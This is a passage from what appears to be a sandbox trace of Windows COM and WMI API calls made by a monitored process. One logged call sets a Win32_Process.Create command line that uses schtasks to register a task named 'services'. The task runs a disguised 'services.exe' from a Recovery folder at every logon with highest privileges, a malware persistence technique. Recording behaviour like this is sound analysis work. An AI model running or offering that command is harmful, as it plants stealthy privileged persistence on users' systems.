puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0148.978] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0148.978] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0148.979] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0148.979] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0148.979] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.980] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc8a2b0) returned 0x0 [0148.981] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc8a2b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0148.981] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc8a2b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbf6a0) returned 0x0 [0148.981] WbemDefPath:IUnknown:Release (This=0x1bc8a2b0) returned 0x0 [0148.981] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbf6a0) returned 0x0 [0148.981] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0148.981] WbemDefPath:IUnknown:AddRef (This=0x1bbbf6a0) returned 0x3 [0148.981] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0148.981] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0148.981] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc8a2f0) returned 0x0 [0148.981] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc8a2f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0148.981] WbemDefPath:IUnknown:Release (This=0x1bc8a2f0) returned 0x3 [0148.981] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0148.982] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0148.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0148.982] WbemDefPath:IUnknown:Release (This=0x1bbbf6a0) returned 0x2 [0148.982] WbemDefPath:IUnknown:Release (This=0x1bbbf6a0) returned 0x1 [0148.982] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0148.982] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0148.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf6a0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbf6a0) returned 0x0 [0148.982] WbemDefPath:IUnknown:AddRef (This=0x1bbbf6a0) returned 0x3 [0148.982] WbemDefPath:IUnknown:Release (This=0x1bbbf6a0) returned 0x2 [0148.982] WbemDefPath:IWbemPath:SetText (This=0x1bbbf6a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0148.982] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf760, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0148.982] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf6a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0148.982] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf6a0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0148.982] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf6a0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0148.982] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbbf760) returned 0x0 [0148.982] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf6a0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0148.982] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf6a0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0148.982] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf6a0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0148.982] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbf760, uIndex=0x0, pszName="root") returned 0x0 [0148.982] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf6a0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0148.982] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf6a0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0148.982] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbf760, uIndex=0x1, pszName="cimv2") returned 0x0 [0148.982] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbf6a0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0148.982] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbf6a0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbf760, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbf760, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf760, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfbe0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfbe0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf760, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf760, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf760, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf760, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0148.983] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf760, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0148.983] IWbemServices:GetObject (in: This=0x1bc96b80, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bb90e20, ppCallResult=0x0) returned 0x0 [0148.995] IWbemClassObject:GetMethod (in: This=0x1bb90e20, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bb91190, ppOutSignature=0x1bb7e690*=0x1bb91500) returned 0x0 [0148.995] IWbemClassObject:SpawnInstance (in: This=0x1bb91190, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa17d10) returned 0x0 [0148.996] IWbemClassObject:Get (in: This=0x1aa17d10, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d8c80*=0, plFlavor=0x27d8c84*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d8c80*=8, plFlavor=0x27d8c84*=32) returned 0x0 [0148.996] IWbemClassObject:Get (in: This=0x1aa17d10, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d8c80*=8, plFlavor=0x27d8c84*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d8c80*=8, plFlavor=0x27d8c84*=32) returned 0x0 [0148.996] IWbemClassObject:Put (This=0x1aa17d10, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"services\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0148.996] IWbemClassObject:Get (in: This=0x1aa17d10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d8d10*=0, plFlavor=0x27d8d14*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d8d10*=13, plFlavor=0x27d8d14*=32) returned 0x0 [0148.996] IWbemClassObject:Get (in: This=0x1aa17d10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d8d10*=13, plFlavor=0x27d8d14*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d8d10*=13, plFlavor=0x27d8d14*=32) returned 0x0 [0148.996] IUnknown:QueryInterface (in: This=0x1bc78bc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bc78bc0) returned 0x0 [0148.997] IUnknown:QueryInterface (in: This=0x1bc78bc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0148.997] IUnknown:QueryInterface (in: This=0x1bc78bc0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0148.997] IUnknown:AddRef (This=0x1bc78bc0) returned 0x3 [0148.997] IUnknown:QueryInterface (in: This=0x1bc78bc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0148.997] IUnknown:QueryInterface (in: This=0x1bc78bc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0148.997] IUnknown:QueryInterface (in: This=0x1bc78bc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bc78bc8) returned 0x0 [0148.997] IMarshal:GetUnmarshalClass (in: This=0x1bc78bc8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0148.997] IUnknown:Release (This=0x1bc78bc8) returned 0x3 [0148.997] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0148.998] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0148.998] IUnknown:QueryInterface (in: This=0x1bc78bc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0148.998] IUnknown:Release (This=0x1bc78bc0) returned 0x2 [0148.998] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0148.998] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0148.998] IUnknown:QueryInterface (in: This=0x1bc78bc0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0148.998] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0148.998] IUnknown:QueryInterface (in: This=0x1bc78bc0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0148.998] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0148.998] IUnknown:AddRef (This=0x1bc78bc0) returned 0x3 [0148.998] IWbemClassObject:Put (This=0x1aa17d10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bc78bc0, varVal2=0x0), Type=0) returned 0x0 [0148.998] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfb20, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0148.999] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfb20, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0148.999] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfb20, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0148.999] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfbe0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0148.999] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0148.999] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0148.999] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfb20, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0148.999] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfb20, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0148.999] IWbemServices:ExecMethod (in: This=0x1bc96b80, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa17d10, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa17fc0, ppCallResult=0x0) returned 0x0 [0149.211] IWbemClassObject:Get (in: This=0x1aa17fc0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d9040*=0, plFlavor=0x27d9044*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc58, varVal2=0x0), pType=0x27d9040*=19, plFlavor=0x27d9044*=0) returned 0x0 [0149.211] IWbemClassObject:Get (in: This=0x1aa17fc0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d9040*=19, plFlavor=0x27d9044*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc58, varVal2=0x0), pType=0x27d9040*=19, plFlavor=0x27d9044*=0) returned 0x0 [0149.212] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0149.212] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0149.212] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0149.212] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.214] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc89fd0) returned 0x0 [0149.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89fd0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0149.215] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89fd0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbbf5e0) returned 0x0 [0149.215] WbemDefPath:IUnknown:Release (This=0x1bc89fd0) returned 0x0 [0149.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbbf5e0) returned 0x0 [0149.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0149.215] WbemDefPath:IUnknown:AddRef (This=0x1bbbf5e0) returned 0x3 [0149.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0149.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0149.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc89b70) returned 0x0 